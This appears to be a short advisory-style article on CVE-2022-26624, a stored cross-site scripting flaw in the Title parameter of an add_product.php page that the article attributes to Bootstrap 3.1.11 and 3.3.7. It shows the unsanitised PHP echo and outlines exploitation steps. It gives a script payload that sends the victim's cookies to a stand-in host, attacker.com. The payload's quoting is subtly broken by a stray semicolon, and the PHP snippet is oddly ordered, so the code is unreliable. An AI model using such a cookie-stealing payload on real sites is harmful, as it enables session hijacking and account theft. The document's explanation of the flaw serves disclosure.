A new security vulnerability (CVE-2022-26624) has been discovered, affecting Bootstrap versions 3.1.11 and 3.3.7. This vulnerability is an instance of a Cross-Site Scripting (XSS) attack that targets the Title parameter in the add_product.php file. In this article, we will discuss the details of this vulnerability, provide a code snippet demonstrating the issue, and outline the steps for exploiting this vulnerability. We will also direct you to the original references for further information.


Cross-Site Scripting (XSS) vulnerabilities allow an attacker to inject malicious scripts into web pages viewed by other users. These scripts can be used to steal user data, impersonate users, or carry out other malicious activities.

In the case of CVE-2022-26624, the vulnerability exists in /vendor/views/add_product.php in Bootstrap v3.1.11 and v3.3.7. The Title parameter is not properly sanitized, allowing an attacker to insert malicious scripts that could be executed when other users view the affected page.

Code Snippet

A sample code snippet demonstrating the vulnerable section of the /vendor/views/add_product.php file is shown below. Note that the Title parameter is not properly sanitized before it is echoed onto the page:

  $title = $_POST['title'];
<!DOCTYPE html>
  <title><?php echo $title; ?></title>
  <!-- ... -->
  <!-- ... -->


To exploit this vulnerability, an attacker can craft a payload containing malicious JavaScript code, and then submit it as the Title parameter when adding a product. When other users visit the affected web page, the malicious script will be executed in their browsers. The script could then be used to steal authentication cookies, execute actions on behalf of the victim, or perform other malicious activities.

For example, the attacker could use the following payload as the Title parameter

<script>document.location="http://attacker.com/steal.php?cookie="; + encodeURIComponent(document.cookie)</script>

When this payload is used, the attacker gains access to the victim's authentication cookies and can hijack their session.

For more details and information on this vulnerability, please refer to the following sources

1. CVE Details page for CVE-2022-26624
2. National Vulnerability Database (NVD) entry for CVE-2022-26624


In summary, CVE-2022-26624 is a serious Cross-Site Scripting (XSS) vulnerability affecting Bootstrap v3.1.11 and v3.3.7 through the Title parameter in the add_product.php file. This vulnerability can provide attackers with the ability to execute malicious scripts in other users' browsers, potentially leading to various harmful consequences. Users of the affected Bootstrap versions are advised to patch their installations as soon as possible to mitigate the risks.


Published on: 04/08/2022 09:15:00 UTC
Last modified on: 04/22/2022 13:56:00 UTC